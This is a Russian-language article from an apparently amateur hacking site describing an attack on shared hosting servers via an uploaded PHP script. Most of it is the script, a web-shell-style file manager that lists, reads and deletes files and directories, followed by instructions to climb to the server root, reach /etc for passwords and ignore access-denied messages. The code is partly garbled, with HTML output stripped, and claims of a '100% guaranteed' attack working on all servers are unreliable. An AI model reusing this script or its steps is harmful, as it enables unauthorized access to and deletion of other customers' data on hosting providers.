Четверг
13.12.2018
16:16


Форма входа

Приветствую Вас Гость | RSS
Рус. Про. -сайт для начинающих юзеров!
Главная Каталог статей Регистрация Вход
Главная » Статьи » взлом

Взлом через PHP-скрипт

Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
function cmp( $a, $b ) //обьявляем функции
{
GLOBAL $sort; //сортируем полученные функции

if( $a->inode == $b->inode )
return 0;

switch( $sort ) //объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="";
}

class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".", " ");
}
}

function genUrl( $ref, $args, $key = "", $val = "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )
{
if( unlink( $file ) )
echo "
$file успешно удалён\n"; //сообщение об успешном удалении файла
else
echo "
Не могу удалить выставите права доступа $file\n"; //сообщение о невозможности удалить файл который доступен только для чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "
$file успешно удалён\n"; //сообщение об успешном удалении
else
echo "
файл недоступен для удаления$file\n"; //сообщение о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "\n";
echo "
Вернуться в начало\n"; //ссылка на возврат в домашнею директорию скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "
Подняться на директорию вверх; $updir\n"; //ссылка на директорию вверх
echo "
Открыть директорию: path."/..>..\n"; //обновление текущей директории
echo "
Текущая директория: ".$d->path."\n"; //показываем путь до директории и файлов, которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму управления функциями
echo "

\n";
echo "\n";
echo "\n";
echo "\n";
//echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";

@usort( $lFiles, cmp );

for( $i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to ) )
continue;

$k = $i;
echo "\n";
echo "\n";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "\n";
}
else
echo "\n";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k ]->name;
echo "\n";
break;
case "file":
echo "\n";
break;
default:
echo "\n";
break;
}
echo "\n";
}

echo "
DTypeИмяРазмерКлассВ системеСозданИзменёнРазмерГруппаowinПоказ
".$lFiles[ $k ]->type."$IMG".$lFiles[ $k ]->name."".$lFiles[ $k ]->formatSize()."".$lFiles[ $k ]->ext ."".date( $dform, $lFiles[ $k ]->atime )."".date( $dform, $lFiles[ $k ]->ctime )."".date( $dform, $lFiles[ $k ]->mtime )."".$lFiles[ $k ]->perms."".$lFiles[ $k ]->group."".$lFiles[ $k ]->owner."".$lFiles[ $k ]->inode."".
$lFiles[ $k ]->sfile."
".$lFiles[ $k ]->sfile."".
$lFiles[ $k ]->name."
".$lFiles[ $k ]->sfile."NO
\n";

$from = $from - $step;
if( isset( $cd ) )
{
echo "\n";
}
echo "\n";

//echo "
from=$from;to=$to;n=$n\n";
echo "
\n";
if( $from >= 0 )
{
echo "Предыдущий/\n";
}
if( $to <= $n )
{
echo "Далее \n";
}
echo "
\n";
echo "\n";
echo "\n";
?> //говорим что PHP скрипт кончился

Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.


Категория: взлом | Добавил: admin (23.05.2008)
Просмотров: 2596
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Меню сайта

Категории каталога
обучение навичков! [4]
Здесь всё написанно просто и доходчиво!
обхождение системы атак! [1]
ВСЁ што есть
взлом [9]
Банкоматы Маилы и.т.д.
Лучшие хакерские проги! [1]
А тамм есть твои проги? Посматри!
Халява!)) [2]
Кто любит халяву прошу!
малая вирусная инциклопедия! [7]
все включино!))
Прячем свой IР [2]
Чтом заметать следы!
ICQ взлом [3]
ICQ взлом

Поиск

Друзья сайта

Наш опрос
ЧАСТО-ЛИ ВЫ РАБОТАЕТЕ В ИНТЕРНЕТЕ?
Всего ответов: 48

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Copyright MyCorp © 2018